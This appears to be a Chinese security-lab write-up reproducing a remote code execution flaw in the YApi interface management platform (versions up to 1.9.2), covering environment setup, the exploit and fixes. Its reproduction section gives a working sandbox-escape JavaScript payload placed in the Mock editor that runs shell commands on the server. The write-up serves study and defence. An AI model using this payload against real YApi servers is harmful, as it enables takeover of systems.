YApi接口管理平台远程代码执行漏洞复现–xxlm-漏洞文库小世界-安全文库-NGC660安全实验室

YApi接口管理平台远程代码执行漏洞复现–xxlm

漏洞简介

用户使用时未按照安全的方式对YAPI进行配置,攻击者可以使用 YAPI 的 Mock 功能在受影响的服务器上执行任意 javascript 代码,导致攻击者接管并控制服务器

影响范围

YApi<=1.9.2 版本

环境搭建

因为YApi是基于node开发,数据存储在mongodb数据库,因此在安装之前需要在服务器安装node和mondodb。

mongoDB安装

下载mongodb安装包,下载地址:
https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu2004-4.4.5.tgz
下载后在服务器解压
tar -xvf mongodb-linux-x86_64-ubuntu2004-4.4.5
解压后重命名
mv mongodb-linux-x86_64-ubuntu2004-4.4.5/ mongodb
将mongodb文件夹移动到/usr/local
mv mongodb /usr/local
添加环境变量
sudo vim /etc/profile
添加以下内容并保存
export PATH=/usr/local/mongodb/bin:$PATH
使修改生效
source /etc/profile
创建用于存放数据和日志文件的文件夹,并修改其权限增加读写权限
# 数据存储目录 sudo mkdir -p /var/lib/mongo # 日志文件目录 sudo mkdir -p /var/log/mongodb sudo chown whoami /var/lib/mongo # 设置权限 sudo chown whoami /var/log/mongodb # 设置权限
在/usr/local/mongodb/bin下面增加配置文件
# 数据文件存放目录 dbpath = /var/lib/mongo # 日志文件存放目录 logpath = /var/log/mongodb/mongodb.log #端口 port = 27017 #是否认证,后续会改成true auth = false #远程连接要指定ip 不然无法连接。0.0.0.0不限制ip访问,并开启对应端口 bind_ip = 0.0.0.0

nodejs安装

这里我使用的是压缩包的方式安装,其实使用ubuntu本身的命令安装会更方便,如下:
安装nodejs,安装完成通过node -v查看是否安装成功 apt-get install nodejs 安装npm,安装完成通过npm -v查看是否安装成功 apt-get install npm 安装pm2,安装完成通过pm2 -v查看是否安装成功 sudo npm install -g pm2
因为使用了压缩包的方式,后面装了npm、pm2、n的时候还需要配置软链接,所以不建议大家使用压缩包方式安装。下载nodejs安装包,下载地址:
https://npm.taobao.org/mirrors/node/v14.16.1/node-v14.16.1-linux-x64.tar.xz
下载后在服务器解压:
tar -xvf node-v14.16.1-linux-x64.tar.xz
解压后重命名文件夹:
mv node-v14.16.1-linux-x64 nodejs
将nodejs文件夹移动到/usr/local
mv nodejs /usr/local
添加软链接
ln -s /usr/local/nodejs/bin/node /usr/local/bin ln -s /usr/local/nodejs/bin/npm /usr/local/bin
安装pm2与n进行管理
npm install -g pm2 npm install -g n
添加软链接
ln -s /usr/local/nodejs/bin/pm2 /usr/local/bin ln -s /usr/local/nodejs/bin/n /usr/local/bin

启动mongodb

启动mongodb,进入usr/local/mongodb/bin执行以下命令,–fork指的是在后台运行,可以先不加,等后面都配置好了再进行启动即可
./mongod -f mongodb.conf –fork
配置密码登陆执行mongo命令进去shell,执行以下命令创建一个管理员用户
1、use admin 2、db.createUser({user:“admin”, pwd: “adminpassword”, roles: [{role: “userAdminAnyDatabase”, db: “admin”}]}) # 用户名为admin,密码为adminpassword,针对admin数据库创建 3、db.auth(‘admin’,‘adminpassword’) # 验证是否创建成功
在配置文件开启权限认证,打开/usr/local/mongodb/bin/mongodb.conf文件将auth设置为true
关闭mongodb服务,并重新开启,就可以使用密码进行连接mongodb了
./mongod -f mongodb.conf –shutdown./mongod -f mongodb.conf –fork

安装yapi

YApi官方提供了可视化部署和命令行部署两种方式,可视化部署方式是在服务器起了一个node服务,在浏览器根据需要填入相关配置后自动部署,命令行方式则是自己修改配置文件后进行部署。
npm install -g yapi-cli –registry https://registry.npm.taobao.org
添加软链接
ln -s /usr/local/nodejs/bin/yapi /usr/local/bin
执行yapi server启动安装服务,默认端口9090防火墙开启9090端口,浏览器输入访问地址http://ip:9090开始安装安装过程中需要有mongodb数据库的用户名和密码,我们之前建立的是admin数据库的用户名和密码

1632989001505-54060620-dce9-4403-9e8b-5cecaca2dde9

系统界面

1632989001741-805e7ecc-521e-4e50-b58c-2ad8ece878e0

漏洞复现

注册账号

1632989001726-3ef44eba-0982-4728-aa1d-f18c23f98eb7

新建项目

1632989001545-febc8f68-8c32-4b7c-8201-5b91355c8b00

新建接口

1632989001547-fe84ddab-f2d9-478f-8c64-6669a572b25d

填写好后,点击该接口的高级mock按钮
添加如下代码
const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const test = FunctionConstructor(‘return process’) const process = test() mockJson = process.mainModule.require(“child_process”).execSync(“whoami && ps -ef”).toString()

1632989002168-c2e3e168-055e-4bd6-8eac-a1cfb6662b91

然后预览一下地址:

1632989002372-becbbef2-1716-4854-acc2-20948157a19c

漏洞分析

核心问题在server/utils/commons.js line 635

1632989002500-a704d8f0-21df-47e5-8244-9862bf5aebcf

用户可自定义mock的功能 并执行相应代码

修复建议

1.该漏洞最关键是处理注册这块以及mock的功能导致出现该漏洞,首先先把注册功能关闭,由管理员进行新建,第二关闭mock的功能。
2.该类平台个人建议不能开放到外网,可以放在内网,如果有远程办公则使用vpn拨号到内网进行访问。
3.在公司具有一定规模的时候需要对此类的平台进行二开,至少用自身的统一认证系统,并按照等保三级对认证的要求进行设计。

请登录后发表评论

    请登录后查看回复内容